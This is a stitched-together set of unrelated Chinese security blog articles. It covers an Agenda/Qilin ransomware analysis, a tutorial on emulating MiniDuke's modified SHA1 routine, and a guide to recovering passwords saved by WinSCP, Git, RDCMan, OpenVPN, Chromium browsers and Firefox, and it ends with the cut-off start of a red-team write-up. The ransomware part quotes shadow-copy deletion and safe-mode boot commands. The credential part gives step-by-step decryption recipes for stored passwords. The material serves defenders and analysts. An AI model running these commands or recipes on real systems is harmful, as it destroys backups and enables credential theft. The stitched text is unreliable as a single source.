Agenda 可以在安全模式下重新啟動系統,並嘗試阻止許多特定於服務器的進程和服務,並且可以運行多種模式。我們收集的勒索軟件示例是為每個受害者定制的,它們包括唯一的公司ID 和洩露的帳戶詳細信息。

受害對象分析所有收集的示例都是用Go 編寫的64 位Windows PE(便攜式可執行文件)文件,它們針對的是基於Windows 的系統。傳播惡意軟件的組織針對的是印度尼西亞、沙特阿拉伯、南非和泰國的醫療保健和教育機構。每個勒索軟件示例都是為目標受害者定制的。我們的調查表明,示例洩露了帳戶、客戶密碼和用作加密文件擴展名的唯一公司ID。

我們認為,Qilin(或Agenda 勒索軟件組織)的附屬機構可以為每個受害者定制可配置的二進制有效載荷,包括公司ID、RSA密鑰等細節,以及數據加密前要阻止的進程和服務。另外,每家公司要求的贖金金額從5萬美元到80萬美元不等。

Agenda%201.jpg

Qilin勒索贖金示例

Agenda%202.jpg

Qilin勒索通知示例

與其他勒索軟件的相似之處我們注意到Agenda 與Black Basta、Black Matter 和REvil(又名Sodinokibi)勒索軟件之間存在一些相似之處。

在付費網站和Tor網站上用戶驗證的實施方面,Agenda與Black Basta和Black Matter非常相似。與此同時,Agenda與Black Basta和REvil共享了相同的函數,可以使用此命令更改Windows密碼並在安全模式下重啟:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

攻擊鏈在調查一起涉及該勒索軟件的示例時,我們發現其背後的攻擊者使用面向公眾的Citrix服務器作為入口點。我們認為攻擊者使用有效帳戶訪問此服務器,然後進入受害者的網絡。這是意料之中的,因為攻擊者使用有效和特權帳戶配置了勒索軟件。

攻擊者使用洩露的帳戶在Active Directory 上使用RDP,然後釋放用於掃描網絡的掃描工具Nmap.exe 和Nping.exe。接下來,計劃任務被組策略域設備推送。

Agenda%203.jpg

組策略推送的定時任務

微信截图_20220826123421.png

在計算機上創建的計劃任務

我們觀察到訪問Citrix 服務器和勒索軟件感染之間只有很短的時間:不到兩天。攻擊者似乎在第一天就掃描了網絡,然後創建了一個組策略對象(GPO),並將勒索軟件部署在受害者的設備上。

Agenda%20Ransomware%205.png

Agenda 勒索軟件的攻擊鏈

Agenda 勒索軟件是一個用Go 編寫的64 位Windows PE 文件。 Go 程序是跨平台且完全獨立的,這意味著即使系統上沒有安裝Go 解釋器,它們也能正常執行。這是可能的,因為Go 靜態編譯必要的庫(包)。

在執行時,該勒索軟件接受定義惡意軟件流程和功能的各種命令行參數,如下表所示。

-alter {int}:定義此子進程的端口號;

-encryption {value}:允許將嵌入加密器配置重新定義為自定義選項;

-ips {IP Address} :允許提供IP 地址;

-min-size {value}:定義要加密的最小文件大小(例如,1 KB、1 MB、1 GB、666 KB);

-no-proc:定義不會被阻止的進程;

-no-services:定義不會被阻止的服務;

-password {string}:定義登錄密碼;

-path {directory}:定義解析目錄的路徑,如果使用此標誌並將其置空,則將掃描所有目錄;

-safe:在安全模式下啟動;

-stat:使惡意軟件打印其配置(要阻止的進程和服務、加密等);

Agenda構建一個運行時配置來定義它的行為,包括它的公共RSA密鑰、加密條件、要終止的進程和服務列表、加密擴展、登錄憑證和贖金通知。 Agenda 的運行時配置組件表如下:

public_rsa_pem RSA:公鑰;

directory_black_list:不允許加密的目錄;

file_black_list:不允許加密的文件名;

file_pattern_black_list:不允許加密的文件擴展名;

process_black_list:要終止的進程;

win_services_black_list:終止服務;

company_id:加密擴展;

accounts:登錄憑據;

note:贖金通知。

作為其初始例程的一部分,Agenda 通過檢查此註冊表值數據中的字符串safeboot 來確定被攻擊的設備是否在安全模式下運行:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control SystemStartOptions

如果它檢測到設備正在安全模式下運行,則終止執行。

然後,勒索軟件通過執行vssadmin.exe delete shadows /all /quiet 刪除卷影副本,並終止運行時配置中指出的特定進程和服務,其中一些是與防病毒相關的進程和服務。

8.1.png

Agenda 終止的一些與防病毒相關的進程和服務

在其初始例程之後,Agenda 繼續創建runonce 自動啟動條目*aster 指向enc.exe,它是Public 文件夾下自身的一個已刪除副本:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce*aster=%Public%\enc.exe

更改用戶密碼並以安全模式重新啟動Agenda 還在加密過程中部署了一種檢測規避技術:它會更改默認用戶的密碼並使用新的登錄憑據啟用自動登錄。可以使用-safe 命令行參數啟用此功能。與REvil 類似,Agenda 以安全模式重新啟動受害者的設備,然後在重新啟動時繼續執行加密程序。

首先,Agenda 會列出在設備上找到的所有本地用戶,然後檢查哪一個被設置為默認用戶。

Agenda%20blog%206%20v1.jpg

Agenda 用於從本地用戶中確定默認用戶的函數

找到默認用戶後,Agenda 將用戶的密碼更改為Y25VsIgRDr。

Agenda%20blog%207%20v2.jpg

Agenda 用於更改默認用戶密碼的函數

然後它繼續配置Winlogon 註冊表項,將數據設置為以下每個值:

8.png

Agenda 配置的Winlogon 註冊表項

更改默認用戶密碼並啟用自動登錄後,Agenda 通過以下命令以安全模式重新啟動受害者的設備:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

加密後,勒索軟件還會使用以下命令以正常模式重啟計算機:

C:\Windows\System32\bcdedit.exe/setsafebootnetworkbcdedit/deletevalue{default}safeboot

冒充合法賬戶Agenda 的另一個函數是它能夠濫用本地帳戶憑據來執行勒索軟件二進製文件,在其運行時配置中使用嵌入式登錄憑據。

9.png

Agenda的嵌入式本地帳戶憑據

Agenda通過在運行時配置中解析帳戶開始用戶模擬,然後將它們劃分為用戶名、域和密碼。它將使用這些數據嘗試通過API LogonUserW將用戶登錄到本地計算機上。

Agenda%20blog%2010.jpg

Agenda 用於解析運行時配置中的accounts 字段的函數

Agenda%2011.jpg

使用已解析帳戶執行登錄的Agenda

然後,Agenda 繼續生成一個隨機端口號,它將通過API CreateProcessAsUserW 與命令行參數-alter 一起用於執行勒索軟件二進製文件。

12.png

使用-alter 參數創建新進程的Agenda

允許網絡共享Agenda還與整個網絡及其共享驅動程序的攻擊有關。它不僅僅是關於在一個工作站上加密數據。

勒索軟件會添加一個註冊表,然後重新啟動LanmanWorkstation 服務。添加新註冊表後,它使用啟用映射驅動器驅動程序中的鍵[EnableLinkedConnections=1],然後重新啟動LanmanWorkstation 服務。這將允許Agenda 在cmd 等提升程序中列出網絡驅動器。

Agenda%20blog%2013.jpg

Agenda將EnableLinkedConnection的註冊表值更改為1

Agenda%20blog%2014.jpg

Agenda重啟LanmanWorkstation 服務

加密算法

Agenda使用AES-256加密文件,使用RSA-2048加密生成的密鑰。為此,它首先使用函數generateKye生成用於加密的密鑰和初始化向量(IV),然後使用API rand_read()。

15.png

Agenda用於生成隨機密鑰的函數

使用這個隨機生成的密鑰,Agenda 繼續使用AES-256 來加密目標文件。最後,它通過運行時配置中的嵌入式公鑰使用RSA-2048 對密鑰進行加密。

成功加密後,Agenda通過附加運行時配置中指定的公司ID來重命名加密的文件。然後它會在每個加密的目錄中釋放贖金通知{company_id}-RECOVER-README.txt。

Agenda%2016.jpg

Agenda 的贖金通知

進程注入Agenda 將pwndll.dll(檢測為Trojan.Win64.AGENDA.SVT)釋放在Public 文件夾中。文件pwndll.dll 是用C 語言而不是Go編寫的合法DLL WICloader.dll 的打了補丁DLL。 Agenda 將此DLL 注入svchost.exe 中,以允許連續執行勒索軟件二進製文件。

Agenda%20blog%2017.jpg

將pwndll.dll 注入svchost.exe 的Agenda

Agenda%20blog%2018.jpg

使用pwndll.dll 執行勒索軟件示例的Agenda

總結勒索軟件不斷發展,開發出更複雜的方法和技術來發起攻擊。如上所述,新的有針對性的勒索軟件Agenda是如何用Go 語言編寫的,這使得檢測和分析變得更加困難。

這種勒索軟件通過利用設備的“安全模式”功能來進行加密程序而不被發現。勒索軟件還利用本地帳戶作為被欺騙的用戶登錄,並執行勒索軟件二進製文件,如果登錄嘗試成功,則進一步加密其他設備。它還終止大量進程和服務,並通過將DLL 注入svchost.exe 來確保持久性。

用戶和組織都可以通過遵循以下安全最佳實踐來降低被Agenda 等勒索軟件感染的風險:

1.啟用多因素身份驗證(MFA) ,以防止攻擊者在網絡內執行橫向移動。

2.備份重要文件時,請遵守3-2-1 規則。以兩種不同的文件格式創建三個備份副本,其中一個副本存儲在單獨的位置。

3.定期修補和更新系統。讓操作系統和應用程序保持最新非常重要,以防止惡意行為者利用任何軟件漏洞。

4.使用專業安全解決方案,它具有多層保護和行為檢測功能,有助於在勒索軟件造成任何攻擊之前阻止可疑行為和工具。

微信截图_20220928141315.png

對於逆向工程師來說,直接從分析的二進制代碼中調用函數的能力是一種捷徑,可以省去很多麻煩。雖然在某些情況下,理解函數邏輯並在高級語言中重新實現它是可能的,但這並不總是可行的,而且原始函數的邏輯越脆弱和復雜,這種方法就越不可行。在處理自定義哈希和加密時,這是一個特別棘手的問題,如果計算中的某個地方出現一個錯誤,就會導致最終輸出完全不同,而且調試起來非常麻煩。

我們將在本文中,介紹3 種實現此“捷徑”的不同方法,並直接從彙編中調用函數。我們首先介紹IDA Pro原生支持的IDA Appcall功能,可以直接通過idpython使用。然後我們演示如何使用Dumpulator實現同樣的行為,最後,我們將展示如何使用Unicorn Engine模擬得到該結果。本文中使用的實際示例基於MiniDuke惡意軟件示例實現的“經過調整的”SHA1哈希算法。

MiniDuke 實現的改進的SHA1 Hashing 算法MiniDuke示例中經過修改的SHA1算法用於為惡意軟件配置創建每個系統的加密密鑰。要哈希的緩衝區包含與所有接口描述的DWORD 連接的當前計算機名稱,例如'DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte'。此函數(SHA1Hash) 在初始摘要和中間階段使用與原始SHA1 相同的常量,但產生不同的輸出。

1.webp.jpg

MiniDuke SHA1Hash 函數常量

由於在原始和修改後的SHA1 中使用的常量都相同,因此差異必須出現在函數的1241 條彙編指令中。我們不能說這種調整是否是故意引入的,但事實仍然是惡意軟件開發者越來越喜歡插入這樣的“驚喜”,而處理它們的責任就落在了分析師身上。為此,我們必須首先了解函數期望其輸入並產生其輸出的形式。

事實證明,Duke-SHA1彙編使用自定義調用約定,其中要哈希的緩衝區長度在ecx寄存器中傳遞,而緩衝區本身的地址在edi中傳遞。從技術上講,在eax 中也傳遞了一個值,但是每當可執行文件調用該函數時,該值都是相同的0xffffffff,因此我們可以將其視為常量。有趣的是,惡意軟件還在每次調用該函數時將緩衝區長度(ecx)設置為0x40,僅對緩衝區的前0x40 個字節進行有效地哈希處理。

2.webp.jpg

SHA1Hash 函數參數

由此產生的160位SHA1哈希值在寄存器中以5個dword的形式返回(從高到低: eax, edx, ebx, ecx, esi)。例如,緩衝DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte的Duke-SHA1值為1851fff77f0957d1d690a32f31df2c32a1a84af7,返回為EAX:0x1851fff7 EDX:0x7f0957d1 EBX:0xd690a32f ECX:0x31df2c32 ESI:0xa1a84af7。

3.webp.jpg

生成的SHA1緩衝區哈希示例

如上所述,查找SHA1和Duke-SHA1的邏輯發生分歧的確切位置,然後在Python中重新實現Duke-SHA1,不過這個方法非常浪費時間。接下來,我們將使用幾種方法來“插入”函數的調用約定並直接調用它。

IDA–AppcallAppcall是IDA Pro的一個功能,它允許IDA Python腳本在調試程序中調用函數,就像它們是內置函數一樣。這是非常方便的,但它也不是通用的,即當用例變得有些不尋常或複雜時,應用難度會急劇上升。雖然在ecx 中傳遞緩衝區長度和在edi 中傳遞緩衝區是正常的,但在5個寄存器中分割160位的返回值並不是典型的函數輸出形式,Appcall 需要一些創意來解決這個問題。

接下來,我們創建了一個自定義結構struc_SHA1HASH,它保存了5個寄存器的值,並用作函數原型的返回類型:

4.png

IDA 結構窗口——“struc_SHA1HASH”

現在有了結構定義, Appcall 就可以與這個函數原型交互,如下面的PROTO 值所示。

5.png

由於IDA Appcall依賴於調試器,為了調用這個邏輯,我們首先需要編寫一個腳本來啟動調試器,對堆棧進行必要的調整,並執行其他必要的管理工作。

6.png

IDA視圖——堆棧調整

使用Appcall是最後一步,有幾種方法可以利用它來調用函數。我們可以在不指定原型的情況下直接調用函數,但這高度依賴於IDA 的IDB 中正確類型的函數。第二種方法是根據函數名和定義的原型創建一個可調用對象。通過這種方式,我們可以調用帶有特定原型的函數,無論在IDB中設置了什麼類型,如下所示:

7.png

使用Appcall 調用Duke-SHA1 的完整腳本如下所示。

8.png

還有一些示例輸出:

9.webp.jpg

腳本執行——“IDA Appcall”產生與MiniDuke 樣本相同的SHA1 哈希值

如果我們只是想將被調用的函數用作黑盒,那麼上面的方法是可以的,但有時我們可能希望在執行的特定狀態下訪問註冊表值,並且像上面那樣指定原型是一件繁瑣的事情。令人高興的是,這兩個缺點都可以被優化。

由於IDA Appcall 依賴於調試器並且可以直接從IDAPython 調用,因此我們可以從調試器調用Appcall 並對其執行進行更精細的控制。例如,我們可以通過為Appcall 設置一個特殊選項——APPCALL_MANUAL 來讓Appcall 在執行過程中將控制權交還給調試器。

10.png

通過這種方式,我們可以使用Appcall來準備參數,分配一個緩衝區,然後恢復之前的執行上下文。我們也可以避免為返回值指定結構類型(將其輸入為void),因為這將由調試器處理。有更多的方法來獲取函數的返回值,因此當控制調試器,就可以使用條件斷點在特定的執行狀態(例如在返回時)打印所需的值。

11.png

我們可以通過調用cleanup_appcall()在任何需要的執行時刻恢復之前的狀態(在Appcall 調用之前)。在我們的例子中,正好在遇到條件斷點之後。

12.png

完整的腳本如下:

13.png

DumpulatorDumpulator是一個python庫,它幫助在minidump文件中進行代碼模擬。 dumator的核心模擬引擎基於Unicorn engine,但在同類工具中有一個比較獨特的特點,那就是可以獲得整個過程的內存。這帶來了性能改進(在不離開Unicorn 的情況下模擬大部分已分析的二進製文件),如果我們可以在調用函數所需的程序上下文(堆棧等)已經就位的時候計算內存轉儲的時間,那麼就更方便了。此外,只有模擬系統調用才能提供真實的Windows環境(因為實際上一切都是合法的進程環境)。

可以使用許多工具(x64dbg - MiniDumpPlugin, process Explorer, process Hacker, Task Manager)或Windows API (MiniDumpWriteDump)捕獲所需進程的一個minidump。我們可以使用x64dbg - MiniDumpPlugin在幾乎所有進程都已經設置為SHA1哈希創建的狀態下創建一個minidump,就在SHA1Hash函數調用之前。注意,沒有必要以這種方式對轉儲進行計時,因為在進行轉儲後,可以在轉儲器中手動設置環境,這只是為了方便而已。

14.webp.jpg

使用“x64dbg - MiniDumpPlugin”創建minidump

Dumpulator不僅可以訪問整個轉儲的進程內存,還可以分配額外的內存、讀取內存、寫入內存、讀取註冊表值和寫入註冊表值。換句話說,模擬器可以做的任何事情。也有可能實現系統調用,因此可以模擬使用它們的代碼。

要通過Dumpulator調用Duke-SHA1,我們需要指定將在minidump中調用的函數的地址及其參數。在本例中,SHA1Hash的地址為0x407108。

15.webp.jpg

在IDA 中打開生成的minidump

因為我們不希望在minidump的當前狀態中使用已經設置的值,所以我們為函數定義自己的參數值。我們甚至可以分配一個新的緩衝區,用作哈希的緩衝區。完成此任務的代碼如下所示。

16.png

執行此腳本將生成正確的Duke-SHA1值

17.webp.jpg

腳本執行——“Dumpulator”產生與MiniDuke 樣本相同的SHA1 哈希值

Emulation–Unicorn Engine對於模擬方法,我們可以使用任何類型的CPU模擬器(例如Qiling、Speakeasy等),它們能夠模擬x86彙編,並具有針對Python語言的綁定。因為我們不需要任何更高的抽象級別(系統調用,API函數),我們可以使用其他大多數引擎的基礎設施——Unicorn Engine。

Unicorn是一個輕量級、多平台、多體系結構的CPU模擬器框架,基於QEMU,它是用純C語言實現的,並綁定了許多其他語言。我們將使用Python綁定。我們的目標是創建一個獨立的函數SHA1Hash,它可以像Python中的任何其他普通函數一樣被調用,產生與MiniDuke中原始函數相同的SHA1哈希。我們使用的實現背後的想法非常簡單——我們只需提取函數的操作碼字節並通過CPU 模擬使用它們。

提取原始函數操作碼的所有字節可以簡單地通過idpython或使用IDA→Edit→Export Data來完成。

18.png

使用IDA“Export data”對話框導出SHA1Hash函數的操作碼字節

與前面的方法一樣,我們需要設置執行上下文。在本文示例中,這意味著為函數準備參數,並為提取的操作碼和輸入緩衝區設置地址。

19.png

請注意,應從提取的操作碼列表中刪除最後一條retn 指令,以免將執行轉移回堆棧上的返回地址,並且應通過指定ebp 和esp 的值手動設置堆棧幀。所有這些都顯示在下面的最終Python 腳本中。

20.png

腳本輸出如下所示:

21.png

腳本執行——“Unicorn Engine”產生與MiniDuke示例相同的SHA1哈希值

總結上述所有直接調用彙編的方法都各有優缺點。給我們留下特別深刻印象的是簡易的Dumpulator,它是免費的,執行起來很快,而且非常有效。它非常適合編寫通用字符串解密器、配置提取器和其他上下文,在這些上下文中,必須依次調用許多不同的邏輯片段,同時保留難以設置的上下文。

當我們希望直接使用調用特定函數產生的結果來豐富IDA數據庫時,IDA Appcall功能是最好的解決方案之一。系統調用可以是Appcall在實際執行環境中使用的函數的一部分——使用調試器。 Appcall最大的優點之一就是快速而簡單的上下文恢復。由於Appcall依賴調試器,可以與idpython腳本一起使用,理論上它甚至可以作為模糊器的基礎,向函數提供隨機輸入以發現意外行為(即錯誤),但這種方法的消耗太大。

通過Unicorn Engine 使用純仿真是獨立實現特定功能的通用解決方案。使用這種方法,可以按原樣獲取部分代碼並在不連接到原始示例的情況下使用它。此方法不依賴於可運行的示例,並且僅適用於部分代碼重新實現功能。對於不是連續的、易於轉儲的代碼塊的函數,這種方法可能更難實現。對於發生API 或系統調用的部分代碼,或者難以設置執行上下文的代碼,前面提到的方法通常是更好的選擇。

在軟件行業,可用性和安全性一直是個矛盾。許多第三方程序可以通過存儲用戶的憑據方便用戶使用。然而,事實證明,這種便利通常是以安全性性為代價的,從而導緻密碼被盜的風險。以這種方式收集的憑據可以在實際的網絡攻擊期間使用。

攻擊者如何擴展其訪問權限很明顯,憑據盜竊是很危險的。但是,有必要強調憑據盜竊可能產生的影響規模。

許多人傾向於在不同的程序中使用相同的密碼,並且很少更改他們的密碼。到了修改密碼的時候,許多人都遵循可預測的模式。

因此,當攻擊者可以從一個來源獲得密碼時,他們可以嘗試使用它來攻擊其他資源,包括一些更受保護的資源。因此,對於每個安全的程序A,用戶可以在不太安全的程序B 上使用相同的密碼或模式,這可能導致程序A 的安全性降低。

此外,如果發現有人在其他不太安全的地方使用他們的操作系統密碼,那麼攻擊者就會打開一個全新的可能性世界。

例如,假設某人X 對他的Windows 帳戶域和Linux FTP 文件服務器使用相同的密碼。在這種情況下,X用戶使用常用程序WinSCP在文件服務器上管理自己的文件。儘管WinSCP 建議不建議保存密碼,但是X用戶每週都會訪問這個文件服務器,所以他們更願意節省時間,保存密碼。

1.png

WinSCP 不建議保存密碼

正如我們稍後將演示的那樣,用戶的密碼可以很容易地從WinSCP存儲密碼的地方獲取。可以在X 的個人計算機上立足的攻擊者可以獲得他們的域帳戶密碼,只是因為它被不安全地保存了。最重要的是,密碼對於連接到文件服務器是有效的。該文件服務器可能包含攻擊者現在可以訪問的敏感信息文件。那樣,攻擊者可以使用像BloodHound 這樣的工具來估計他們可以在一個組織內傳播多遠。

以WinSCP為例進行具體分析WinSCP是常用的一種SFTP客戶端和FTP客戶端,用於在Windows本地計算機和遠程服務器之間通過FTP、FTPS、SCP和SFTP複製文件。

測試版本:5.19.6 (Build 12002 2202-02-22)

憑據存儲在哪裡?

WinSCP將加密後的用戶密碼存儲在如下所示的註冊表項下的一個名為Password 的值中。

加图1.png

如何恢復憑據?

WinSCP工具對用戶密碼的位數進行對稱數學運算。它獲取密碼的每個字節,計算0xFF(11111111)的補碼,然後用字節0xA3(10100011)對其進行異或運算。

加密過程包括找到補碼並執行一次異或運算。然後將密碼存儲在密碼註冊表值中。由於這些數學運算是對稱的,我們需要做的就是以相反的順序再次執行相同的兩個運算,以獲得原始值。

例如,讓我們以一個常用的密碼為例:Aa123456。 “1D3D6D6E6F68696A”密碼在WinSCP工具上的存儲方式如下。

在下圖中,我們看到了解密密碼的步驟:

2.png

解密存儲在WinSCP 中的密碼

密碼與主機名和用戶名一起保存。要從密碼註冊表值中獲取它,我們必須找到密碼開頭的索引。這個計算非常簡單,根據WinSCP版本,註冊表值的第一個或第三個字節是連接的用戶名、主機名和密碼的長度。起始索引是長度的下一個字節,其值乘以2。長度和起始索引都以相同的方式加密。

主機名和用戶名也保存在不同的註冊表值上,因此我們知道它們的長度和值。我們所做的就是從索引中解密密碼註冊表的值:開始索引+用戶名長度+主機名長度,我們就會得到我們的密碼。

3.png

連接的用戶名、主機名和密碼的位置

野外利用

我們已經看到在多個客戶環境中執行了以下腳本:

4.png

可疑的PowerShell編碼命令

-enc表示EncodedCommand,這意味著將使用一個base-64編碼的字符串作為命令。

在解碼的腳本中,我們可以看到嘗試解密WinSCP 密碼:

5.png

用於提取和解密WinSCP 密碼的PowerShell 腳本

6.png

Cortex XDR阻止了讀取存儲在WinSCP中的密碼的嘗試

以Git為例進行具體分析測試版本:2.35.1.windows.2。

憑據存儲在哪裡?

Git 允許同時使用密碼和個人訪問令牌(PAT)。

當用戶想通過保存他們的Git憑據來節省時間時,他們可以使用以下命令:

gitconfigcredential.helper'store'使用這個命令,Git將以純文本的形式無限期地將用戶的憑據保存在磁盤上。

可能包含密碼的文件:

加图2.png

Git 允許使用PAT 作為憑據,而不是傳統的密碼使用。這些令牌更加模塊化,因為可以創建任意數量的訪問令牌,每個令牌具有不同的權限和過期日期。

雖然可以以更模塊化和更細粒度的方式控制用戶的操作,每個操作都與特定的PAT 相關聯,但是擁有用戶PAT的任何人都可以查看用戶可以訪問的所有存儲庫。

這些標籤也以明文形式出現在上面提到的相同文件中。

如何恢復憑據?

任何閱讀這些文件的人都會以純文本形式看到用戶名、密碼或令牌以及相關的Git 存儲庫。

以RDCMan為例進行具體分析測試版本:2.83

RDCMan可以管理多個遠程桌面連接。它對於管理需要定期訪問計算機的服務器實驗室非常有用,比如自動簽入系統和數據中心。

憑據存儲在哪裡?

當用戶決定使用RDCMan 保存會話密碼時,默認配置文件將為%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings。

這個文件是一個XML文件,包含關於每個RDP連接的通用元數據。在這些數據中,有一個名為CredentialsProfiles的XML標籤引起了我們的注意。

我們可以看到,在這個標籤下,還有另一個名為CredentialsProfiles的標籤,其中還有credentialsProfile XML標籤,以及一個Password 標籤。

7.png

查看RDCMan.settings中的XML標籤

如何恢復憑據?

要檢索密碼,我們必須在使用RDCMan程序的用戶的上下文中執行命令。這是因為密碼是使用數據保護API (DATA Protection API, DPAPI)保存的,該API 可以分別使用CryptProtectData和CryptUnprotectData函數對任何類型的數據進行對稱加密和解密。

因此,為了獲得密碼,我們需要調用CryptUnprotectData函數。

通常,唯一可以解密數據的用戶是與加密數據的用戶具有相同登錄憑據的用戶。

儘管從RDCMan 收集憑據需要攻擊者採取比我們其他一些示例中所需的額外步驟,在相關用戶的上下文中運行軟件,但結果對攻擊者來說具有很大的價值。如果成功,攻擊者就有可能獲得該特定用戶連接到的所有計算機的所有用戶和密碼。

一旦攻擊者能夠在用戶的上下文中執行命令,為了收集憑據,剩下要做的就是:

打開RDCMan.settings 文件並檢查密碼XML 標籤;

使用base64 解碼標籤中的字符串;

使用解碼的密碼字符串調用CryptUnprotectData;

使用UTF-8(或其他相關格式)對結果進行解碼;

刪除不必要的空字符;

看看上面的例子,保存在文件中的密碼是:

AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA8/nnW5aFNUi0AKiTG4y9UQAAAAACAAAAAAAQZgAAAAEAACAAAADIjLLw0X4z9RDdWgPpqabLU7hTcJ1HVlFklpzX3eA14QAAAAAOgAAAAAIAACAAAAB01OvDCNCjaEhrq8J8hRm/SKyc ef7nR52ZkqcPLJqMsCAAAACg2htaeRsutDziS3FISeEAg3DsBpGxBGpPeWlUSVnXOkAAAAB5Tei9g5KWcVIhOKQ2cXxr5ONUOHMEEH5h3Lmp12mPlWaaZ6y8dGIVz8WnNKr4e73dhqNU8NyzI7RZBamS6DG6解密後的密碼是Aa123456。

8.png

從RDCMan中恢復密碼

以OpenVPN為例進行具體分析測試版本:2.5.029。

OpenVPN 是一個虛擬專用網絡系統,它實現了在路由或橋接配置和遠程訪問設施中創建安全的點對點連接的技術。

憑據存儲在哪裡?

OpenVPN 將用戶的密碼存儲在如下所示的註冊表項下的一個名為auth-data 的值中。

加图3.png

如何恢復憑據?

OpenVPN還使用了DPAPI機制,並附加了可選的熵參數(可以設置為NULL)。

當在加密階段使用可選的熵DATA_BLOB結構時,必須在解密階段使用相同的DATA_BLOB結構。

在OpenVPN的情況下,熵保存在一個名為熵的註冊表值中。熵註冊值也存儲在如下路徑。

加图4.png

因此,使用來自auth-data 和熵(來自熵)的密碼調用CryptUnprotectData 將為我們提供會話密碼。

熵註冊表值包含一個額外的字節00,所以我們只需要省略它。

9.png

上面是恢復OpenVPN密碼的PowerShell腳本。下面,通過reg.exe (POC) 顯示auth-data 和entropy 註冊表值的方式。

以基於Chromium 的瀏覽器為例進行具體分析測試版:

Google Chrome——測試版本:103.0.5060.53(官方版本)(64 位);

Microsoft Edge——測試版本:103.0.1264.37(官方版本)(64 位);

Opera——測試版本:88.0.4412.53;

Chromium 項目包括Chromium,它是Google Chrome 瀏覽器背後的開源項目。

在典型的使用例程中,許多人傾向於在上網時保存密碼。

10.png

Google Chrome 版本102.0.5005.115(官方版本)(64 位)保存的密碼

憑據存儲在哪裡?

在使用基於Chromium 的瀏覽器(如Microsoft Edge、Opera 或Google Chrome)時,密碼被加密位於SQLite 數據庫文件中,通常稱為登錄數據。

每個配置文件都有一個密碼數據庫,即它的登錄數據文件。

用於加密密碼的密鑰位於父文件夾中的名為本地狀態的JSON 文件中。

例如:

登錄數據位置:

加图5.png

區域位置:

Google Chrome: %localappdata%\google\chrome\user data\local state

Microsoft Edge: %localappdata%\microsoft\edge\user data\local state

Opera: %appdata%\opera software\opera stable\local state

如何恢復憑據?

登錄數據庫中的每個密碼都使用高級加密標準(AES) 以GCM 模式進行加密。 AES GCM是一種對稱加密方法,因此相同的密鑰對加密和解密都有效。 AES算法對每個128位數據塊使用不同的密鑰,該密鑰基於前一個塊的計算。對於第一個塊,可以選擇使用初始化向量(IV)。

要解密基於Chromium 的瀏覽器保存的密碼,我們需要:

加密的密碼;

初始化向量;

AES 密鑰;

讓我們看看如何檢索它們:

加密密碼

可以從登錄數據數據庫中導出:加密的密碼從password_value列中取出,從第15位的字母到末尾的16個字母。 [15:-16]

初始化向量

位於相同的password_value 字段列中,從第3 位的字母到第15 位的字母。 [3:15]

AES密鑰

寫在本地狀態JSON 文件中,在密鑰os_crypt 和encrypted_key 下,用base64 解碼。

基於Chromium 的瀏覽器使用DPAPI 機制保存AES 密鑰,因此要獲取它,我們必須從base64 解碼它並在用戶的上下文中使用CryptUnprotectData。

來自谷歌Chrome的示例:

11.png

保存在Google Chrome 本地狀態JSON 文件中的密碼

它以五個字母開頭的前綴保存:DPAPI。

12.png

保存在Google Chrome 中的解碼密碼

如果攻擊者能夠在用戶的上下文中運行,那麼完成收集用戶憑據所需要做的就是:

複製登錄數據和本地狀態文件;

從本地狀態JSON文件中獲取AES GCM密鑰;

解碼(base64),解密(CryptUnprotectData)並從密鑰中刪除填充;

使用解密的AES GCM 密鑰解密登錄數據數據庫中的每個密碼;

13.png

用於恢復Chrome 中保存的密碼的POC

你可以閱讀有關如何在Python 中提取Chrome 密碼的更多信息。

野外利用

我們看到在excel.exe中使用regsvr32.exe運行了以下DLL:

加图6.png

(kgnkudbadmpogg.dll 的SHA256:6599FEE8C7ADF30A00889A7070600F472F8CEAD8EA4DD1A85E724ED15F2AED0F)

在一系列操作之後,最終的有效負載試圖訪問Microsoft Edge 憑據文件:

登錄數據文件(SQLite 數據庫文件)如下所示:

加图7.png

本地狀態文件(包含加密密鑰)如下所示:

加图8.png

14.png

Cortex XDR 檢測到讀取保存在Microsoft Edge 瀏覽器中的密碼的嘗試

以Firefox瀏覽器為例進行具體分析測試版本:Firefox 版本101.0.1(64 位)

使用其他瀏覽器(例如Mozilla Firefox)時,密碼保存行為模式也很重要。

15.png

Firefox 版本101.0.1(64 位)保存的密碼

憑據存儲在哪裡?

與基於Chromium 的瀏覽器類似,在Mozilla Firefox 瀏覽器中,每個配置文件也有自己的密碼文件。

此文件名為logins.json,位於以下位置中:

加图9.png

用戶名和密碼均以加密方式保存。

16.png

Firefox 的logins.json 文件中保存的密碼

如何恢復憑據?

logins.json 文件中的每個用戶名和密碼都使用PKCS #11 加密標准進行加密。 Firefox 開發了NSS 庫,以便在其瀏覽器(nss3.dll) 中採用此標準。

NSS 將私鑰存儲在名為key3.db 或key4.db 的文件中,具體取決於NSS 版本。

要檢索用戶的密碼,攻擊者必須訪問其中一個文件和logins.json 文件。

因此,如果攻擊者能夠獲得在同一台計算機上運行的權限,那麼竊取密碼的過程將是:

攻擊者復制logins.json 文件;

加載NSS 庫(nss3.dll);

從logins.json 的副本中解碼(base64) encryptedUsername 和encryptedPassword;

將每個輸入存儲在一個SecItem 對像中,該對象稍後在整個NSS 中用於來回傳遞二進制數據塊;

創建用於輸出的SecItem 對象;

使用nss3.dll 中的PK11 解密函數解密每個encryptedUsername 和encryptedPassword 輸入對象,並將數據存儲在新的SecItem 輸出對像中;

與基於Chromium 的瀏覽器的情況不同,攻擊者不必在用戶的上下文中運行以獲取用戶的密碼,而是可以利用任何有權訪問目標用戶的文件系統配置文件的用戶。

前言

前段时间参加了一场攻防演练,使用常规漏洞尝试未果后,想到不少师傅分享过从JS中寻找突破的文章,于是硬着头皮刚起了JS,最终打开了内网入口获取了靶标权限和个人信息。在此分享一下过程。

声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

通过JS打点

开局只有一个登录页面,无法枚举用户名并且尝试爆破未果。

1140t4fmazo13914.jpg

